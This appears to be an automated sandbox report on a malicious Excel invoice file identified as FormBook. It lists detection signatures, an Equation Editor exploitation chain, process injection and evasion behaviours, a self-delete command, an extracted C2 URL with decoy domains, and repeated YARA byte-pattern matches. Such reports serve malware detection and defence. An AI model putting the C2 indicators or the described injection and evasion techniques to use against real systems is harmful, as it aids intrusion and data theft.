Edit tour

Windows Analysis Report
DL03327INV.xlsx

Overview

General Information

Sample Name:	DL03327INV.xlsx
Analysis ID:	626601
MD5:	5b4a67ac532a5d8900b815144f0fb845
SHA1:	6da306004e084780e9f57f3702a5ec22e72fff6c
SHA256:	98fc7157dafde651c3ab515663e3a91f034b49175e2e2495c00576c4b8e9e96d
Tags:	VelvetSweatshopxlsx
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Injects a PE file into a foreign processes

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Shellcode detected

Office equation editor drops PE file

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Office equation editor establishes network connection

Drops PE files to the user root directory

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Potential document exploit detected (performs DNS queries)

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Downloads executable code via HTTP

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Contains functionality to download and execute PE files

Office Equation Editor has been started

Contains functionality to download and launch executables

Checks if the current process is being debugged

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2776 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 2364 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2172 cmdline: "C:\Users\Public\vbc.exe" MD5: DE76EF6A11A63EFC00B0303888BC0B7F)

yldnat.exe (PID: 1148 cmdline: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna MD5: BC3C746DB1D3F8A821BBDF17CA023450)

yldnat.exe (PID: 2452 cmdline: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna MD5: BC3C746DB1D3F8A821BBDF17CA023450)

explorer.exe (PID: 1860 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

wuapp.exe (PID: 1112 cmdline: C:\Windows\SysWOW64\wuapp.exe MD5: C8EBA45CEF271BED6C2F0E1965D229EA)

cmd.exe (PID: 2960 cmdline: /c del "C:\Users\user\AppData\Local\Temp\yldnat.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.arjimni.com/nc39/"], "decoy": ["bohicaapparel.com", "chilliesofwoodstock.com", "szcipa.com", "nirmalaswagruhafoods.com", "orbitas.online", "bjvxx.com", "atomvpn.site", "thecanvacoach.com", "thewhitelounge.com", "trwebz.xyz", "yiwanggkm.com", "maggiceden-io.com", "kimyanindelisi.online", "xn--e02b19uo0j.com", "kaola74.top", "klcsales.net", "renacerdevteam.com", "talkmoor.com", "seobusinesslistings.com", "contractornurd.com", "wolksquit.com", "hamiltonspringfield.com", "skinclash.com", "d-web.net", "tige03.xyz", "thereeldecoy.com", "dutyapparel.com", "vicentedotorarquitectos.com", "bensdrywall.com", "domainnetwoks.com", "incorrectbenevolence.com", "ramvadher.space", "dbluvt.xyz", "laps-clicks.com", "thewattelectric.com", "fogpromo.com", "ibcfitting.com", "get25000today.com", "do-hobbies-indoors.com", "marmagdistribuciones.com", "newworldtongpaihotels.net", "3astratford.com", "tocarrythemessage.com", "57shasha.club", "117colgett.com", "captainnoclue.com", "rapejesus.site", "grandas-svoboda.com", "apartmentpermis.com", "greatco.biz", "joneswoodworks.com", "lilatoons.com", "banalto.com", "caycilargida.online", "gangez.com", "tw-life.net", "treasuresofjudaica.com", "monin.one", "earthdefense.global", "troolygood.com", "eafc.tech", "southcarolinawire.xyz", "designstatussupport.com", "moorblaque.com"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x62e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x63e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x87c9:$sqlite3step: 68 34 1C 7B E1 0x88dc:$sqlite3step: 68 34 1C 7B E1 0x87f8:$sqlite3text: 68 38 2A 90 C5 0x891d:$sqlite3text: 68 38 2A 90 C5 0x880b:$sqlite3blob: 68 53 D8 7F 8C 0x8933:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x62e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x63e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x87c9:$sqlite3step: 68 34 1C 7B E1 0x88dc:$sqlite3step: 68 34 1C 7B E1 0x87f8:$sqlite3text: 68 38 2A 90 C5 0x891d:$sqlite3text: 68 38 2A 90 C5 0x880b:$sqlite3blob: 68 53 D8 7F 8C 0x8933:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.yldnat.exe.400000.9.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.yldnat.exe.400000.9.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.yldnat.exe.400000.9.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
6.2.yldnat.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.yldnat.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7db8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8142:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x154e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14f91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x155e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1575f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8b5a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1420c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x98d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab47:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.yldnat.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x179c9:$sqlite3step: 68 34 1C 7B E1 0x17adc:$sqlite3step: 68 34 1C 7B E1 0x179f8:$sqlite3text: 68 38 2A 90 C5 0x17b1d:$sqlite3text: 68 38 2A 90 C5 0x17a0b:$sqlite3blob: 68 53 D8 7F 8C 0x17b33:$sqlite3blob: 68 53 D8 7F 8C
5.2.yldnat.exe.120000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.yldnat.exe.120000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7db8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8142:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x154e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14f91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x155e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1575f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8b5a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1420c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x98d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab47:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.yldnat.exe.120000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x179c9:$sqlite3step: 68 34 1C 7B E1 0x17adc:$sqlite3step: 68 34 1C 7B E1 0x179f8:$sqlite3text: 68 38 2A 90 C5 0x17b1d:$sqlite3text: 68 38 2A 90 C5 0x17a0b:$sqlite3blob: 68 53 D8 7F 8C 0x17b33:$sqlite3blob: 68 53 D8 7F 8C
5.2.yldnat.exe.120000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.yldnat.exe.120000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8bb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f42:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x162e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x163e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1655f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x995a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1500c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa6d2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b947:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.yldnat.exe.120000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x187c9:$sqlite3step: 68 34 1C 7B E1 0x188dc:$sqlite3step: 68 34 1C 7B E1 0x187f8:$sqlite3text: 68 38 2A 90 C5 0x1891d:$sqlite3text: 68 38 2A 90 C5 0x1880b:$sqlite3blob: 68 53 D8 7F 8C 0x18933:$sqlite3blob: 68 53 D8 7F 8C
6.0.yldnat.exe.400000.9.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
